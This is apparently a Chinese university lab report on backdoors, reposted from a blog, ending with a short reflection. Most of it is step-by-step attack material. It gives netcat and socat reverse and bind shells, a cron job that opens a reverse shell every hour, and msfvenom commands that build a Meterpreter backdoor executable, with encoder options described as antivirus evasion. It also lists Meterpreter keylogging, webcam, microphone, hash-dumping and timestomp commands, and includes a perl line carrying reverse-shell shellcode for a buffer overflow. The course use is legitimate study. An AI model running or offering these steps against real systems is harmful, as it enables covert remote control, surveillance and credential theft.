标签:另一个 hang timeout 就是 接收 文件的 inpu web ext
标签: linux 后门 Meterpreter
后门就是不经过正常认证流程而访问系统的通道。
哪里有后门呢?
以下实践Windows基本Win10-64bit, Kali-64bit.
ipconfig
查看本机IPncat.exe -l -p 8888
nc 192.168.88.248 8888 -e /bin/sh
,使用-e选项执行shell程序ifconfig
查看IPnc -l -p 8888
ncat.exe -e cmd.exe 192.168.196.133 8888
没有mac机器,暂时无法做
使用nc传输数据
ncat.exe -l 8888
nc 192.168.88.248 8888
使用netcat传输文件(将文件从kali传给Windows)
ncat.exe -l 8888 > file.out
nc 192.168.88.248 8888 < file.in
基本功能(基本的连接、执行指令)
,扩展功能(如搜集用户信息、安装服务等功能)
,编码模式
,运行平台
,运行参数
-p
使用的payload,payload翻译为有效载荷,就是被运输有东西。这里windows/m eterpreter/reverse_tcp就是一段shellcode.-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。-e
使用的编码器,用于对shellcode变形,为了免杀。-i
编码器的迭代次数。如上即使用该编码器编码5次。-b
badchar是payload中需要去除的字符。LHOST
是反弹回连的IPLPORT
是回连的端口-f
生成文件的类型>
输出到哪个文件Meterpreter常用功能
meterpreter > help
Core Commands第一部分是核心指令
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
help Help menu
info Displays information about a Post module
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for 'load'
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands第二部分是文件系统相关的
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands当然少不了网络操作的了
===========================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: System Commands系统指令
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands用户接口,哇还可以抓取击键记录呢
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands 什么?Video?昨天哪位同学问我来着?测试Win7可拍摄。
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Priv: Elevate Commands提权
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
***我的win7没成功***
Priv: Password database Commands导出密码文件SAM
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
***我的win7没成功***
Priv: Timestomp Commands修改文件操作时间,清理现场用
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。
crontab -e
指令增加一条定时任务,-e
表示编辑。因为是第一次编辑,故提示选择编辑器,这里选择的是315 * * * * /bin/netcat 192.168.88.248 5121 -e /bin/sh
,意思是在每个小时的第15分钟反向连接Windows主机的5121端口。whoami
命令验证tcp-listen:5121 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5121,同时把cmd.exe的stderr重定向到stdout上:socat - tcp:192.168.88.248:5121
,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5121端口,此时可以发现已经成功获得了一个cmd shellmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.196.133 LPORT=5121 -f exe > meter_backdoor.exe
这里的IP地址为控制端IP,即kali的IP,此时已经生成了后门程序“meter_backdoor.exe”ncat.exe -l 5121 > meter_backdoor.exe
,这样被控主机就进入了接收文件模式,在kali中执行nc 192.168.88.248 5121 < meter_backdoor.exe
(这里的IP为被控主机IP,即Windows的IP)msfconsole
指令进入msf控制台
use exploit/multi/handler
使用监听模块,设置payloadset payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payloadset LHOST 192.168.196.133
,这里用的是Kali的IP,和生成后门程序时指定的IP相同set LPORT 5121
,同样要使用相同的端口exploit
执行监听,并运行Windows下的后门程序,此时kali上已经获得了Windows主机的连接,并且得到了远程控制的shellrecord_mic
指令可以截获一段音频webcam_snap
指令可以使用摄像头进行拍照screenshot
指令可以进行截屏keyscan_start
指令记录下击键的过程,使用keyscan_dump
指令读取击键记录getuid
指令查看当前用户,使用getsystem
指令进行提权操作但是提权操作是失败的
[shellcode网站链接5
在这个网站,上面生成的的shellcode都是经过测试过可用的。在网站里找一个linux/x86平台的,用于反弹连接的shellcode下载
perl -e 'print "A" x 32;print"\xe4\xd1\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input1
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444 //这两个都是根据shellcode的指定内容来选择的。
show options
exploit
(cat input1;cat) | ./pwn1
,然后再按一次回车,在另一个终端就可以得到shell开始运行在这次实验中,我遇到了许许多多的问题,这些问题光看实验指导书是无法知道的。如没有使用root权限而没法执行指令,没有关闭Windows防火墙和Windows defener而导致后门文件被删除,触发器的时间设置错误导致一直处于就绪状态等等。有些问题就是一些很小的细节,但是不注意的话就会给你造成很大的困扰。在使用Meterpreter进行提权操作是失败,我上网查询了各种操作,参考了Kali Linux渗透测试--windows 10入侵和提权过程,但是仍无法提升权限,与同学交流后其表示在Windows7上能提升权限,在Windows10上如何提升权限仍无法实现,这个问题有待解决。通过这次实验,我对后门的原理和实现过程有了一定的了解,更深刻的体会到计算机安全的重要性,黑客利用后门能随意盗取受害者隐私信息非常可怕,网络安全任重道远。
2019-2020-3 20175121杨波《网络对抗技术》Exp2 后门原理与实验
标签:另一个 hang timeout 就是 接收 文件的 inpu web ext
原文地址:https://www.cnblogs.com/xposed/p/12458662.html